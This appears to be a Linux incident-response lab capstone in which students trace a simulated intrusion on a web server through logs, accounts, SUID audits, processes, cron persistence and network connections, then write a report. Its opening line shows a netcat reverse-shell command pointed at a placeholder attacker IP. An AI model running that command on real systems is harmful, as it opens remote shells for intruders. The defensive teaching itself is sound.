A classic reverse shell looks like: `nc -e /bin/bash attacker_ip 4444` — the compromised host connects OUT to the attacker, bypassing inbound firewall rules. Defenders should watch for unexpected nc processes and `/bin/bash` or `/bin/sh` spawned as children of a network tool.

Final Capstone Challenge: The Midnight Intrusion

This challenge pulls together everything from all five parts into one continuous incident. There are no separate 'Part 1 command / Part 2 command' labels here — like a real investigation, you decide which tool fits each question. Work through the acts in order; each one hands you a lead into the next.

Scenario Briefing

It's Monday morning. Overnight, your monitoring alert fired: unusual CPU load and an unfamiliar outbound connection on webserver01, a Linux box that hosts an internal web application. You are the on-call analyst. Your job is to work the box end-to-end — filesystem, logs, accounts, permissions, processes, services, and network — and produce a short incident report. Use your own lab VM to simulate each act using the setup commands given.

Act 1 — First Contact (Filesystem & Logs)

- Set up your case workspace: `mkdir -p ~/investigations/midnight/{logs,evidence,reports}`.
- `cat -n /etc/passwd` and list every account with `UID ≥ 1000` — note anything you don't recognize.
- `tail -n 100 /var/log/auth.log` (or `syslog`) and use `less` with `/Failed` and `/Accepted` to build a quick timeline of login activity in the last few hours.
- Check `/var/log/wtmp` with `last`, and cross-reference: does anyone show a successful login around the time the alert fired?
- Copy any log excerpts you consider evidence into `~/investigations/midnight/evidence/` with `cp -p` to preserve timestamps.

Act 2 — Following the Trail (Text Processing)

- Build a one-liner to find the top 10 source IPs behind failed SSH logins (`grep | grep -oE | sort | uniq -c | sort -rn | head`).
- If webserver01 also has an Nginx/Apache access log, find the IPs generating the most 404s — a possible sign of pre-attack scanning.
- For the IP that stands out the most, `grep -r` it across all of `/var/log/` to see everywhere it appears.
- Use `find` to check `/tmp`, `/var/tmp`, and `/dev/shm` for anything that shouldn't be there — these directories should normally be empty.
- Redact any internal IP addresses from one saved log excerpt with `sed` before it goes in your report.

Act 3 — Whose Account Is This? (Users & Permissions)

- `id` and `groups` on the suspicious account you flagged in Act 1 — what group memberships does it have?
- Run a full-system SUID/SGID audit: `find / -perm -4000 -o -perm -2000 2>/dev/null | sort` — cross-check the list against what you'd expect on a stock install.
- Find every world-writable file and directory on the box (excluding `/proc` and `/sys`) — flag anything outside `/tmp`.
- Check the permissions on that account's home directory and `.ssh/authorized_keys` — should be 700 and 600 respectively. Fix anything looser.
- Run `sudo -l` for the flagged account — do they have more sudo access than their role justifies?

Act 4 — Catching It Live (Processes & Services)

- Setup (simulate the incident on your own lab VM): `nohup dd if=/dev/urandom of=/dev/null & then cp /bin/sleep /tmp/syslogd && nohup /tmp/syslogd 9999 &`
- Run `ps aux` and identify the top CPU consumers — spot the fake 'syslogd' running from /tmp instead of its real system location.
- Use `pstree -p` to find the parent of the suspicious process — how was it spawned?
- Gracefully stop the `dd` process with `SIGTERM`; verify it's gone. Force-kill the fake `/tmp/syslogd` with `SIGKILL`.
- Check `systemctl` status on every legitimate service the box should be running (`ssh`, your web server) — confirm none were tampered with or replaced.
- Audit `cron` for persistence: loop `crontab -l -u` over every user in `/etc/passwd`, then check `/etc/crontab` and `/etc/cron.d/` for anything recently modified (`find /etc/cron* -newer /etc/passwd`).
- Remove any planted `cron` entry you find and verify with `crontab -l`.

Act 5 — Closing the Loop (Networking)

- `sudo ss -tulnp` — list every listening port and its owning process. Flag anything unexpected, especially high ports like `4444/1337/31337`.
- `sudo ss -tnp state established` — what outbound connections are currently open, and to where?
- Run `dig -x` on the suspicious remote IP for a reverse lookup, and `whois/dig` on its domain if one resolves.
- Check `sudo ufw status` (or `iptables -L -n -v`) — was a rule added to let the attacker's IP through? Remove it if so.
- Capture 60 seconds of traffic to/from that IP with `tcpdump -i any host <ip> -w midnight.pcap`, then read it back with `tcpdump -r midnight.pcap`.
- If the connection is still active, terminate the owning process (from Act 4's `kill/pkill`) and confirm with `ss` that the socket is gone.
- Run a targeted `nmap -sV` scan of `webserver01` itself from another lab machine (with permission) to confirm no new services are now listening that weren't before.

Final Deliverable

Write a one-page incident report with these sections:

- Summary — what happened, in 3–4 sentences.
- Timeline — key timestamped events pulled from your log review (Act 1–2).
- Indicators of Compromise — the account, files, processes, `cron` entries, and network connections you found, with the exact commands used to find each.
- Actions Taken — every remediation step you performed (kills, permission fixes, `cron` removals) with the command used.
- Recommendations — at least three concrete hardening steps to prevent a repeat (e.g. permission fixes, monitoring rules, `sudoers` tightening).

Instructor Note

This challenge is intentionally open-ended — there is more than one valid path through it. Grade on whether the student's command choices are justified and whether the final report tells a coherent, evidence-backed story, not on matching an exact command sequence.

Appendix: Full Command Quick Reference

A single-page lookup for every command covered in this lab.

Command	What it does
<code>pwd</code>	Print current directory
<code>ls -la</code>	List files, long format, incl. hidden
<code>cd</code>	Change directory
<code>tree</code>	Visual directory tree
<code>mkdir -p</code>	Create nested directories
<code>touch</code>	Create empty file / update timestamp
<code>cp -r</code>	Copy file or directory
<code>mv</code>	Move or rename
<code>rm -r / -i</code>	Remove file or directory
<code>cat -n</code>	Print file with line numbers
<code>less</code>	Scroll & search a large file
<code>head -n / tail -n / -f</code>	First/last N lines; -f follows live
<code>file</code>	Identify file type by content
<code>stat</code>	Detailed metadata incl. timestamps
<code>du -sh / df -h</code>	Disk usage / free space
<code>ln -s</code>	Create symbolic link
<code>rsync -avz</code>	Efficient sync/backup
<code>xxd / strings</code>	Hex dump / extract printable text from binaries
<code>faillog</code>	Report failed logins per user
<code>man <command></code>	Read a command's manual page
regex: <code>. * + ? ^ \$ [] {} ()</code>	Pattern language behind grep/find/awk/sed
<code>grep -rniEC --color</code>	Search text with pattern matching
<code>find -name/-type/-perm/-mtime/-newer</code>	Search filesystem for files
<code>> / >> / < / 2> / / tee</code>	Redirection and pipes
<code>sort / uniq -c / wc -l / cut / tr</code>	Text counting and field extraction
<code>awk '{print \$1}'</code>	Field-based text processing
<code>sed 's/a/b/g'</code>	Stream text substitution
<code>useradd / usermod / userdel</code>	Manage user accounts
<code>passwd / id / whoami / last / w</code>	Password & identity commands
<code>groupadd / groupmod / groups / gpasswd</code>	Manage groups
<code>chmod (symbolic/octal)</code>	Change permissions

Command	What it does
chown / chgrp	Change ownership
find -perm -4000	Audit SUID/SGID binaries
sudo / visudo / sudoers syntax	Controlled privilege escalation
ps aux / pstree -p	Snapshot / tree of processes
top / htop / pgrep / pidof	Live monitoring, PID lookup
kill / kill -9 / pkill / killall	Send signals to processes
jobs / bg / fg / nohup	Job control
systemctl start/stop/status/enable	Manage services
journalctl -u / -f / -p	Query systemd logs
crontab -e / -l / -r	Manage scheduled tasks
apt / dpkg -l	Package inventory & update checks
logrotate / zcat	Log rotation policy & reading archived logs
ip addr/link/route (add/del/show)	Interface & route inspection/config
ifconfig	Legacy interface config
ssh / scp / ssh-keygen	Remote shell, secure file copy, key auth
ufw / iptables	Firewall rule management
openssl s_client	TLS certificate & handshake inspection
ping / traceroute / tracepath	Connectivity & path testing
dig / nslookup / host	DNS queries
ss -tulnp / -x / -s / netstat -tulnp	Active connections & listening ports
curl -I/-L/-X/-H / wget -c/-r	HTTP requests & file downloads
nc -zv / -lvp / file transfer	Port scan / banner grab / listener
tcpdump -i/-w/-r/-c/-X/-A	Live packet capture & pcap read/write
nmap -sV/-sS/-sT/-sU/-sn/-Pn/-O/-A/-p	Network & port scanning
watch -n 'cmd'	Re-run a command on a fixed interval